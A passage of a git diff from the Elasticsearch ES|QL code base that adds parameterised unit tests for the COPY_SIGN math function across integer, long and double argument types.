+    protected Matcher<String> expectedTypeErrorMatcher(List<Set<DataType>> validPerPosition, List<DataType> signature) {
+        return equalTo(typeErrorMessage(true, validPerPosition, signature, (v, i) -> "numeric"));
+    }
+}
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/math/CopySignTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/math/CopySignTests.java
new file mode 100644
index 0000000000000..5a7dd395eca99
--- /dev/null
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/math/CopySignTests.java
@@ -0,0 +1,106 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the Elastic License
+ * 2.0; you may not use this file except in compliance with the Elastic License
+ * 2.0.
+ */
+
+package org.elasticsearch.xpack.esql.expression.function.scalar.math;
+
+import com.carrotsearch.randomizedtesting.annotations.Name;
+import com.carrotsearch.randomizedtesting.annotations.ParametersFactory;
+
+import org.elasticsearch.xpack.esql.core.expression.Expression;
+import org.elasticsearch.xpack.esql.core.tree.Source;
+import org.elasticsearch.xpack.esql.core.type.DataType;
+import org.elasticsearch.xpack.esql.expression.function.AbstractScalarFunctionTestCase;
+import org.elasticsearch.xpack.esql.expression.function.TestCaseSupplier;
+import org.hamcrest.Matcher;
+import org.hamcrest.Matchers;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.function.BiFunction;
+import java.util.function.BinaryOperator;
+import java.util.function.Supplier;
+
+import static org.elasticsearch.xpack.esql.expression.function.TestCaseSupplier.casesCrossProduct;
+import static org.elasticsearch.xpack.esql.expression.function.TestCaseSupplier.getCastEvaluator;
+import static org.elasticsearch.xpack.esql.expression.function.TestCaseSupplier.unlimitedSuppliers;
+import static org.hamcrest.Matchers.equalTo;
+
+public class CopySignTests extends AbstractScalarFunctionTestCase {
+    public CopySignTests(@Name("TestCase") Supplier<TestCaseSupplier.TestCase> testCaseSupplier) {
+        this.testCase = testCaseSupplier.get();
+    }
+
+    @ParametersFactory
+    public static Iterable<Object[]> parameters() {
+        List<TestCaseSupplier> suppliers = new ArrayList<>();
+        List<DataType> numericTypes = List.of(DataType.INTEGER, DataType.LONG, DataType.DOUBLE);
+
+        for (DataType lhsType : numericTypes) {
+            for (DataType rhsType : numericTypes) {
+                BinaryOperator<Object> expected = (lhs, rhs) -> {
+                    double sign = ((Number) rhs).doubleValue();
+                    return switch (lhs) {
+                        case Integer v -> {
+                            if (sign < 0) {
+                                yield v > 0 ? -v : v;
+                            }
+                            yield v > 0 ? v : -v;
+                        }
+                        case Long v -> {
+                            if (sign < 0) {
+                                yield v > 0 ? -v : v;
+                            }
+                            yield v > 0 ? v : -v;
+                        }
+                        case Double v -> Math.copySign(v, sign);
+                        case Float v -> Math.copySign(v, sign);
+                        default -> throw new IllegalArgumentException("unsupported [" + lhs.getClass() + "]");
+                    };
+                };
+                BiFunction<DataType, DataType, Matcher<String>> evaluatorToString = (lhs, rhs) -> {
+                    String name = "CopySign" + switch (lhs) {
+                        case INTEGER -> "Integer";
+                        case LONG -> "Long";
+                        case DOUBLE -> "Double";
+                        case FLOAT -> "Float";
+                        default -> throw new IllegalStateException("unsupported [" + lhs + "]");
+                    } + "Evaluator";
+                    return equalTo(
+                        name
+                            + "[magnitude=Attribute[channel=0], sign="
+                            + getCastEvaluator("Attribute[channel=1]", rhs, DataType.DOUBLE)
+                            + "]"
+                    );
+                };
+                casesCrossProduct(
+                    expected,
+                    unlimitedSuppliers(lhsType),
+                    unlimitedSuppliers(rhsType),
+                    evaluatorToString,
+                    (l, r) -> List.of(),
+                    suppliers,
+                    lhsType,
+                    false
+                );
+            }
+        }
+
+        return parameterSuppliersFromTypedData(
+            anyNullIsNull(randomizeBytesRefsOffset(suppliers), (nullPosition, nullValueDataType, original) -> {
+                if (nullPosition == 0 && nullValueDataType == DataType.NULL) {
+                    return DataType.NULL;
+                }
+                return original.expectedType();
+            }, (nullPosition, nullData, original) -> nullData.isForceLiteral() ? Matchers.equalTo("LiteralsEvaluator[lit=null]") : original)
+        );
+    }
+
+    @Override
+    protected Expression build(Source source, List<Expression> args) {
+        return new CopySign(source, args.get(0), args.get(1));
+    }
+}
